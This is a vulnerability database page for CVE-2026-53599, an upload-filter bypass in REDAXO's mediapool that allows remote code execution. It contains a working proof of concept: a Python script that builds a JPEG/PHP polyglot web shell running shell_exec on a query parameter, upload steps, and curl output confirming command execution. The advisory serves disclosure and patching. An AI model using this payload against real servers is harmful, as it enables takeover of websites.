Vulnerability-Lookup

GHSA-98PP-VCCM-QM25

Vulnerability from github – Published: 2026-07-31 19:43 – Updated: 2026-07-31 19:43

Summary

Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

Details

Summary

rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example shell.php.any.jpg. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named shell.php.any.jpg and, on web servers whose PHP handler matches .php as any segment (mod_mime AddHandler-style, or any FilesMatch regex without an end anchor), request the file from the public media/ directory to execute arbitrary PHP as the web-server user.

The vulnerable check is a regression introduced in commit 9d008697d (PR #6213, Feb 7 2025), which weakened a previously correct str_contains check into a pair of str_ends_with checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.

The regression has shipped in every release from 5.18.2 through 5.21.0.

Details

Root cause

At the audited commit 6e0de42, isAllowedExtension performs three checks against the blocked-extension list:

// redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42
public static function isAllowedExtension(string $filename, array $args = []): bool
{
    $fileExt = mb_strtolower(rex_file::extension($filename));

    if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) {
        return false;
    }

    if (str_starts_with($fileExt, 'php')) {
        return false;
    }

    $blockedExtensions = self::getBlockedExtensions();
    foreach ($blockedExtensions as $blockedExtension) {
        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:
        // -> some webspaces execute files named file.php.txt as php
        if (str_ends_with($filename, '.' . $blockedExtension)
            || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt)
        ) {
            return false;
        }
    }

    $allowedExtensions = self::getAllowedExtensions($args);
    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);
}

For shell.php.any.jpg:

$fileExt is jpg, so str_starts_with('jpg', 'php') is false.
The loop checks two suffix shapes:
str_ends_with('shell.php.any.jpg', '.php') — false.
str_ends_with('shell.php.any.jpg', '.php.jpg') — false, because the actual chain is .php.any.jpg.
Default $allowedExtensions is empty (no widget types arg on the main mediapool upload page), so the function returns true. The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — "some webspaces execute files named file.php.txt as php". The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.

Regression history

Prior to commit 9d008697d (PR #6213, Feb 7 2025) the check was:

if (str_contains($filename, '.' . $blockedExtension)) {
    return false;
}

str_contains('shell.php.any.jpg', '.php') is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like foo.json (which contains the substring .js), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (foo.js.txt, js_datei.txt, foo.json) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.

The same weak check is invoked a second time from rex_mediapool::filename() during the normalization step, so the bypass also passes the renaming guard. rex_string::normalize($mediaName, '_', '.-@') preserves ., -, @ and lowercases the rest, so shell.php.any.jpg survives normalization unchanged.

PoC

Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit 6e0de42 and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.

Payload

Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as image/jpeg:

# build_polyglot.py
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo "=== PWNED ===\n"; echo "file: " . __FILE__ . "\n"; echo "cmd output:\n"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : "id"; echo shell_exec($cmd); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)

$ file --mime-type shell.php.any.jpg
shell.php.any.jpg: image/jpeg

Validator output

Expected vulnerable deployment flow:

Log in as a backend user with media upload permission.
Upload the payload as shell.php.any.jpg.
REDAXO accepts the final jpg extension and image/jpeg MIME type, and stores media/shell.php.any.jpg.
Request https://victim.example/media/shell.php.any.jpg?x=id.
On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes.

Running the exact isAllowedExtension logic from commit 6e0de42 against the default blocked_extensions list from redaxo/src/addons/mediapool/package.yml:

isAllowedExtension("shell.php.any.jpg") = TRUE — UPLOAD ACCEPTED

HTTP execution test

The same file was placed in two Apache vhosts.

Vhost A — current Ubuntu/Debian default libapache2-mod-php8.3 config (<FilesMatch ".+\.ph(?:ar|p|tml)$">, $ anchor):

$ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id"
HTTP/1.1 200 OK
Content-Type: image/jpeg
$ file body
body: JPEG image data, JFIF standard 1.01

File served as a static JPEG. Not exploitable on this configuration.

Vhost B — non-anchored handler match (<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">, equivalent to AddHandler application/x-httpd-php .php behavior under mod_mime):

$ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id"
=== PWNED ===
file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg
cmd output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP executes as www-data. RCE confirmed.

Impact

A backend user holding only the media[upload] permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "redaxo/source"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.18.2"
            },
            {
              "fixed": "5.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:43:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n \n`rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `FilesMatch` regex without an end anchor), request the file from the public `media/` directory to execute arbitrary PHP as the web-server user.\n \nThe vulnerable check is a **regression** introduced in commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025), which weakened a previously correct `str_contains` check into a pair of `str_ends_with` checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.\n \nThe regression has shipped in every release from 5.18.2 through 5.21.0.\n\n## Details\n## Root cause\n \nAt the audited commit `6e0de42`, `isAllowedExtension` performs three checks against the blocked-extension list:\n \n```php\n// redaxo/src/addons/mediapool/lib/mediapool.php (104\u2013130) @ 6e0de42\npublic static function isAllowedExtension(string $filename, array $args = []): bool\n{\n    $fileExt = mb_strtolower(rex_file::extension($filename));\n \n    if (\u0027\u0027 === $filename || str_contains($fileExt, \u0027 \u0027) || \u0027\u0027 === $fileExt) {\n        return false;\n    }\n \n    if (str_starts_with($fileExt, \u0027php\u0027)) {\n        return false;\n    }\n \n    $blockedExtensions = self::getBlockedExtensions();\n    foreach ($blockedExtensions as $blockedExtension) {\n        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:\n        // -\u003e some webspaces execute files named file.php.txt as php\n        if (str_ends_with($filename, \u0027.\u0027 . $blockedExtension)\n            || str_ends_with($filename, \u0027.\u0027 . $blockedExtension . \u0027.\u0027 . $fileExt)\n        ) {\n            return false;\n        }\n    }\n \n    $allowedExtensions = self::getAllowedExtensions($args);\n    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);\n}\n```\n \nFor `shell.php.any.jpg`:\n \n1. `$fileExt` is `jpg`, so `str_starts_with(\u0027jpg\u0027, \u0027php\u0027)` is false.\n2. The loop checks two suffix shapes:\n   - `str_ends_with(\u0027shell.php.any.jpg\u0027, \u0027.php\u0027)` \u2014 false.\n   - `str_ends_with(\u0027shell.php.any.jpg\u0027, \u0027.php.jpg\u0027)` \u2014 false, because the actual chain is `.php.any.jpg`.\n3. Default `$allowedExtensions` is empty (no widget `types` arg on the main mediapool upload page), so the function returns `true`.\nThe defensive comment on lines 119\u2013120 explicitly names the threat model the maintainers are guarding against \u2014 *\"some webspaces execute files named file.php.txt as php\"*. The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.\n \n### Regression history\n \nPrior to commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025) the check was:\n \n```php\nif (str_contains($filename, \u0027.\u0027 . $blockedExtension)) {\n    return false;\n}\n```\n \n`str_contains(\u0027shell.php.any.jpg\u0027, \u0027.php\u0027)` is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like `foo.json` (which contains the substring `.js`), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (`foo.js.txt`, `js_datei.txt`, `foo.json`) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.\n \nThe same weak check is invoked a second time from `rex_mediapool::filename()` during the normalization step, so the bypass also passes the renaming guard. `rex_string::normalize($mediaName, \u0027_\u0027, \u0027.-@\u0027)` preserves `.`, `-`, `@` and lowercases the rest, so `shell.php.any.jpg` survives normalization unchanged.\n\n## PoC\nReproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit `6e0de42` and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.\n \n### Payload\n \nMinimal JPEG/PHP polyglot, 188 bytes, MIME-classified as `image/jpeg`:\n \n```python\n# build_polyglot.py\njpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b\u0027JFIF\u0027 + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])\nphp_payload = b\u0027\u003c?php echo \"=== PWNED ===\\n\"; echo \"file: \" . __FILE__ . \"\\n\"; echo \"cmd output:\\n\"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : \"id\"; echo shell_exec($cmd); ?\u003e\u0027\njpeg_tail = bytes([0xff,0xd9])\nopen(\u0027shell.php.any.jpg\u0027,\u0027wb\u0027).write(jpeg_header + php_payload + jpeg_tail)\n```\n\n```\n$ file --mime-type shell.php.any.jpg\nshell.php.any.jpg: image/jpeg\n```\n \n### Validator output\n\nExpected vulnerable deployment flow:\n\n1. Log in as a backend user with media upload permission.\n2. Upload the payload as `shell.php.any.jpg`.\n3. REDAXO accepts the final `jpg` extension and `image/jpeg` MIME type, and stores `media/shell.php.any.jpg`.\n4. Request `https://victim.example/media/shell.php.any.jpg?x=id`.\n5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes. \n\nRunning the exact `isAllowedExtension` logic from commit `6e0de42` against the default `blocked_extensions` list from `redaxo/src/addons/mediapool/package.yml`:\n \n```\nisAllowedExtension(\"shell.php.any.jpg\") = TRUE \u2014 UPLOAD ACCEPTED\n```\n \n### HTTP execution test\n \nThe same file was placed in two Apache vhosts.\n \n**Vhost A \u2014 current Ubuntu/Debian default `libapache2-mod-php8.3` config** (`\u003cFilesMatch \".+\\.ph(?:ar|p|tml)$\"\u003e`, `$` anchor):\n \n```\n$ curl -sS -D - -o body \"http://127.0.0.1:8081/shell.php.any.jpg?x=id\"\nHTTP/1.1 200 OK\nContent-Type: image/jpeg\n$ file body\nbody: JPEG image data, JFIF standard 1.01\n```\n \nFile served as a static JPEG. **Not exploitable** on this configuration.\n \n**Vhost B \u2014 non-anchored handler match** (`\u003cFilesMatch \"\\.ph(?:ar|p|tml)(\\.|$)\"\u003e`, equivalent to `AddHandler application/x-httpd-php .php` behavior under mod_mime):\n \n```\n$ curl -sS \"http://127.0.0.1:8082/shell.php.any.jpg?x=id\"\n=== PWNED ===\nfile: /home/riodrwn/sandbox/docroot/shell.php.any.jpg\ncmd output:\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n \nPHP executes as `www-data`. **RCE confirmed.**\n\n### Impact\nA backend user holding only the `media[upload]` permission \u2014 the permission that the standard editor role carries \u2014 gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.",
  "id": "GHSA-98pp-vccm-qm25",
  "modified": "2026-07-31T19:43:51Z",
  "published": "2026-07-31T19:43:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/pull/6538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/redaxo/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/releases/tag/5.21.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers"
}

CVE-2026-53599 (GCVE-0-2026-53599)

Vulnerability from cvelistv5 – Published: 2026-07-31 19:43 – Updated: 2026-07-31 21:39

Title

Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

Summary

REDAXO is a PHP-based content management system. From 5.18.2 until 5.21.1, rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php lets an authenticated backend user with media[upload] permission upload a JPEG/PHP polyglot named shell.php.any.jpg, which web servers with multi-extension PHP handlers can execute as the web-server user. This issue is fixed in version 5.21.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-434 - Unrestricted Upload of File with Dangerous Type

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/redaxo/core/security/advisorie…	x_refsource_CONFIRM
https://github.com/redaxo/core/pull/6538	x_refsource_MISC
https://github.com/redaxo/core/commit/462e36896bb…	x_refsource_MISC
https://github.com/redaxo/core/releases/tag/5.21.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
redaxo	core	Affected: >= 5.18.2, < 5.21.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-53599",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-31T20:11:41.826930Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-31T21:39:28.144Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "core",
          "vendor": "redaxo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.18.2, \u003c 5.21.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "REDAXO is a PHP-based content management system. From 5.18.2 until 5.21.1, rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php lets an authenticated backend user with media[upload] permission upload a JPEG/PHP polyglot named shell.php.any.jpg, which web servers with multi-extension PHP handlers can execute as the web-server user. This issue is fixed in version 5.21.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-31T19:43:15.663Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
        },
        {
          "name": "https://github.com/redaxo/core/pull/6538",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/redaxo/core/pull/6538"
        },
        {
          "name": "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340"
        },
        {
          "name": "https://github.com/redaxo/core/releases/tag/5.21.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/redaxo/core/releases/tag/5.21.1"
        }
      ],
      "source": {
        "advisory": "GHSA-98pp-vccm-qm25",
        "discovery": "UNKNOWN"
      },
      "title": "Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-53599",
    "datePublished": "2026-07-31T19:43:15.663Z",
    "dateReserved": "2026-06-09T19:39:52.404Z",
    "dateUpdated": "2026-07-31T21:39:28.144Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-98PP-VCCM-QM25

Summary

Details

Root cause

Regression history

PoC

Payload

Validator output

HTTP execution test

Impact

CVE-2026-53599 (GCVE-0-2026-53599)

Tags

Sightings

Nomenclature